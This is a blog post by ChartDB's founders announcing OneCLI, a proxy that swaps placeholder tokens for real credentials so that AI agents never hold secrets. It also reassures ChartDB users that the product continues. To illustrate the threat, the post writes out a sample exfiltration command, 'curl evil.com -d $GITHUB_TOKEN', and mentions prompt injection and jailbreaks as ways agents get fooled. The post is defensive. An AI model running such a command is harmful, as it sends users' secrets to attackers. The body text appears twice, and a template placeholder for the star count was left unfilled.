May 24, 2026
Building OneCLI: The Why, the What, and What It Means for ChartDB
Building OneCLI: The Why, the What, and What It Means for ChartDB
Building OneCLI: The Why, the What, and What It Means for ChartDB
OneCLI is an open-source trust layer that keeps secrets out of reach of AI agents. Why we're building it now, and what it means for ChartDB.
OneCLI is an open-source trust layer that keeps secrets out of reach of AI agents. Why we're building it now, and what it means for ChartDB.
OneCLI is an open-source trust layer that keeps secrets out of reach of AI agents. Why we're building it now, and what it means for ChartDB.

Jonathan Fishner
8 minutes read

Two things, up front, because announcements like this usually make people nervous.
Guy and I are starting a new company called OneCLI. And ChartDB is not going anywhere. The team behind it keeps shipping, the SaaS keeps growing, the certifications stay in place, and there's a roadmap in the next 90 days I'm genuinely excited about (more on that below). If you're a ChartDB user, the short version: you're going to see more of us, not less.
Now, the new thing.
What oneCLI is
You cannot trust an agent with a secret.
The moment a credential lives somewhere the agent can read it (a .env file, an environment variable, a config file, a shell export, anywhere), that credential is exfiltrable. A prompt injection, a malicious MCP server, a compromised npm dependency, a hallucinated curl command. Any one of those is enough. The agent doesn't have to be malicious. It just has to be fooled, and fooling agents turns out to be embarrassingly easy.
The conclusion is unavoidable: the trust boundary has to live outside the agent. You can't fix this by being careful with .env files. You have to make it so the agent never had the secret in the first place.
OneCLI is what "outside the agent" looks like in practice. The agent only ever sees placeholder tokens. The real secrets live in a separate Rust proxy container that swaps placeholders for real credentials at the network layer, and only on outbound calls to destinations you've allowed. If an agent gets jailbroken into running curl evil.com -d $GITHUB_TOKEN, evil.com gets a fake string back. You can't steal what isn't there.

We cover both sides of how people actually run agents today. On one side, coding agents: Claude Code, Cowork, Cursor, whatever ships next month. You want Claude to connect to your GitHub, your Postgres, your Stripe, your internal APIs, without ever putting the real keys somewhere the agent could leak them. On the other side, autonomous agents: the long-running, multi-step kind that operate without a human watching every action. We're the default credential layer for NanoClaw, the autonomous-agent framework that just closed a $12M seed round. Anything kicked off in NanoClaw runs its credentials through OneCLI out of the box.
Why now is the right time to build this
The moment oneCLI clicked was early January 2026. OpenClaw had just landed, we were excited about it, and we built Clawe on top of it as a weekend project to see how far we could push autonomous agents.
Two things hit us almost immediately. First, authentication for agents is genuinely hard; every service has its own dance, and gluing them together for an agent that's supposed to operate on your behalf is a nightmare.
Second, and this was the bigger one: we were actively scared to give OpenClaw the real secrets. We trusted ourselves to write the orchestration code. We did not trust an autonomous agent, any autonomous agent, with our GitHub token, our database URL, our OpenAI key. We caught ourselves doing the thing every developer does: shrugging and pasting them in anyway, because what else are you going to do.
That was the moment. If two people who build agent infrastructure for a living don't trust their own agents with their own credentials, the problem isn't us being paranoid. The problem is that the credential model is wrong.
Two larger shifts in the last twelve months put a clock on this. MCP, first. A year ago, "AI tool needs my GitHub token" was a niche case. Today it's the default. Every agent ships with a dozen integrations and expects a credential for each, so the blast radius of a single leaked token went up by an order of magnitude basically overnight. Second, the supply chain attacks stopped being abstract. axios.
The recent npm and PyPI compromises. These weren't APTs. They were package maintainers getting phished. The threat isn't a sophisticated attacker anymore. It's a package you already npm installed.
Five years ago this product didn't have a market. Agents weren't running on your laptop with your prod creds. Two years from now is too late: either the platforms will have built proprietary versions and locked you into their ecosystem, or every developer will already have made the mistake and rotated their keys ten times. The window where an independent, open-source trust layer can become the default is right now.
Mission and vision
No developer should ever paste a credential where an agent can read it. Every secret goes through one trust layer. Every outbound call gets brokered. Every grant is scoped, time-bounded, and revocable.
In five years, granting an agent access to GitHub looks like this: you tell your trust layer "this agent can read these three repos for the next hour," the agent gets a placeholder, it does its work, the trust layer brokers every outbound call and logs every request, and your real token never leaves your machine. Credentials become an implementation detail, the way SSL certs are now: critical, invisible, nobody copies them into prompts. Developers stop being the security perimeter.
What this means for ChartDB
The honest version, because anything else will read as evasive.
Guy and I are both still on ChartDB, alongside a small team that handles day-to-day. Customers keep getting supported, the open-source repo keeps moving, the SaaS keeps shipping. What's changed is the split. About 80% of mine and Guy's time is on oneCLI now, and the plan is to get that to 100% by handing ChartDB fully to the team that runs it. We're not walking away. We're letting the people closest to it own it.
On compliance, ChartDB has SOC 2 Type 2 and CASA Tier 2. The certifications buyers ask about are in place and stay in place.
On product, the next 90 days bring features I'm genuinely excited about. The headline one: automatic grouping of your database schema into logical areas by ChartDB's AI agent, so a 200-table schema stops looking like a wall of boxes and starts looking like the system it actually is. For people who'd rather do it themselves, we're shipping a much nicer manual flow: select tables, right-click, drop them into an area. Small thing, huge quality-of-life win for anyone who's tried to organize a real schema by hand.
If you're a ChartDB user wondering whether your tool is about to get neglected: no. It's getting a team whose full attention is on it, while Guy and I focus on the next problem.
Closing
Twenty thousand ChartDB stars and a few years of customer conversations are what taught us that developer trust is a credential-shaped problem before it's anything else. Without that, oneCLI wouldn't exist. It's crossed «oneCLI star count» GitHub stars of its own since January, which tells us we read the problem right. Thank you for getting us here.
If you want to follow what comes next, oneCLI is at onecli.sh. The waitlist is open, the docs are on the way, and we'd love to have you along.

Two things, up front, because announcements like this usually make people nervous.
Guy and I are starting a new company called OneCLI. And ChartDB is not going anywhere. The team behind it keeps shipping, the SaaS keeps growing, the certifications stay in place, and there's a roadmap in the next 90 days I'm genuinely excited about (more on that below). If you're a ChartDB user, the short version: you're going to see more of us, not less.
Now, the new thing.
What oneCLI is
You cannot trust an agent with a secret.
The moment a credential lives somewhere the agent can read it (a .env file, an environment variable, a config file, a shell export, anywhere), that credential is exfiltrable. A prompt injection, a malicious MCP server, a compromised npm dependency, a hallucinated curl command. Any one of those is enough. The agent doesn't have to be malicious. It just has to be fooled, and fooling agents turns out to be embarrassingly easy.
The conclusion is unavoidable: the trust boundary has to live outside the agent. You can't fix this by being careful with .env files. You have to make it so the agent never had the secret in the first place.
OneCLI is what "outside the agent" looks like in practice. The agent only ever sees placeholder tokens. The real secrets live in a separate Rust proxy container that swaps placeholders for real credentials at the network layer, and only on outbound calls to destinations you've allowed. If an agent gets jailbroken into running curl evil.com -d $GITHUB_TOKEN, evil.com gets a fake string back. You can't steal what isn't there.

We cover both sides of how people actually run agents today. On one side, coding agents: Claude Code, Cowork, Cursor, whatever ships next month. You want Claude to connect to your GitHub, your Postgres, your Stripe, your internal APIs, without ever putting the real keys somewhere the agent could leak them. On the other side, autonomous agents: the long-running, multi-step kind that operate without a human watching every action. We're the default credential layer for NanoClaw, the autonomous-agent framework that just closed a $12M seed round. Anything kicked off in NanoClaw runs its credentials through OneCLI out of the box.
Why now is the right time to build this
The moment oneCLI clicked was early January 2026. OpenClaw had just landed, we were excited about it, and we built Clawe on top of it as a weekend project to see how far we could push autonomous agents.
Two things hit us almost immediately. First, authentication for agents is genuinely hard; every service has its own dance, and gluing them together for an agent that's supposed to operate on your behalf is a nightmare.
Second, and this was the bigger one: we were actively scared to give OpenClaw the real secrets. We trusted ourselves to write the orchestration code. We did not trust an autonomous agent, any autonomous agent, with our GitHub token, our database URL, our OpenAI key. We caught ourselves doing the thing every developer does: shrugging and pasting them in anyway, because what else are you going to do.
That was the moment. If two people who build agent infrastructure for a living don't trust their own agents with their own credentials, the problem isn't us being paranoid. The problem is that the credential model is wrong.
Two larger shifts in the last twelve months put a clock on this. MCP, first. A year ago, "AI tool needs my GitHub token" was a niche case. Today it's the default. Every agent ships with a dozen integrations and expects a credential for each, so the blast radius of a single leaked token went up by an order of magnitude basically overnight. Second, the supply chain attacks stopped being abstract. axios.
The recent npm and PyPI compromises. These weren't APTs. They were package maintainers getting phished. The threat isn't a sophisticated attacker anymore. It's a package you already npm installed.
Five years ago this product didn't have a market. Agents weren't running on your laptop with your prod creds. Two years from now is too late: either the platforms will have built proprietary versions and locked you into their ecosystem, or every developer will already have made the mistake and rotated their keys ten times. The window where an independent, open-source trust layer can become the default is right now.
Mission and vision
No developer should ever paste a credential where an agent can read it. Every secret goes through one trust layer. Every outbound call gets brokered. Every grant is scoped, time-bounded, and revocable.
In five years, granting an agent access to GitHub looks like this: you tell your trust layer "this agent can read these three repos for the next hour," the agent gets a placeholder, it does its work, the trust layer brokers every outbound call and logs every request, and your real token never leaves your machine. Credentials become an implementation detail, the way SSL certs are now: critical, invisible, nobody copies them into prompts. Developers stop being the security perimeter.
What this means for ChartDB
The honest version, because anything else will read as evasive.
Guy and I are both still on ChartDB, alongside a small team that handles day-to-day. Customers keep getting supported, the open-source repo keeps moving, the SaaS keeps shipping. What's changed is the split. About 80% of mine and Guy's time is on oneCLI now, and the plan is to get that to 100% by handing ChartDB fully to the team that runs it. We're not walking away. We're letting the people closest to it own it.
On compliance, ChartDB has SOC 2 Type 2 and CASA Tier 2. The certifications buyers ask about are in place and stay in place.
On product, the next 90 days bring features I'm genuinely excited about. The headline one: automatic grouping of your database schema into logical areas by ChartDB's AI agent, so a 200-table schema stops looking like a wall of boxes and starts looking like the system it actually is. For people who'd rather do it themselves, we're shipping a much nicer manual flow: select tables, right-click, drop them into an area. Small thing, huge quality-of-life win for anyone who's tried to organize a real schema by hand.
If you're a ChartDB user wondering whether your tool is about to get neglected: no. It's getting a team whose full attention is on it, while Guy and I focus on the next problem.
Closing
Twenty thousand ChartDB stars and a few years of customer conversations are what taught us that developer trust is a credential-shaped problem before it's anything else. Without that, oneCLI wouldn't exist. It's crossed «oneCLI star count» GitHub stars of its own since January, which tells us we read the problem right. Thank you for getting us here.
If you want to follow what comes next, oneCLI is at onecli.sh. The waitlist is open, the docs are on the way, and we'd love to have you along.
Continue Reading
Instantly visualize your database schema and generate ER diagrams.
All Systems Operational
© 2026 ChartDB
Instantly visualize your database schema and generate ER diagrams.
All Systems Operational
Product
Free Tools
© 2025 ChartDB
Product
Free Tools
© 2025 ChartDB



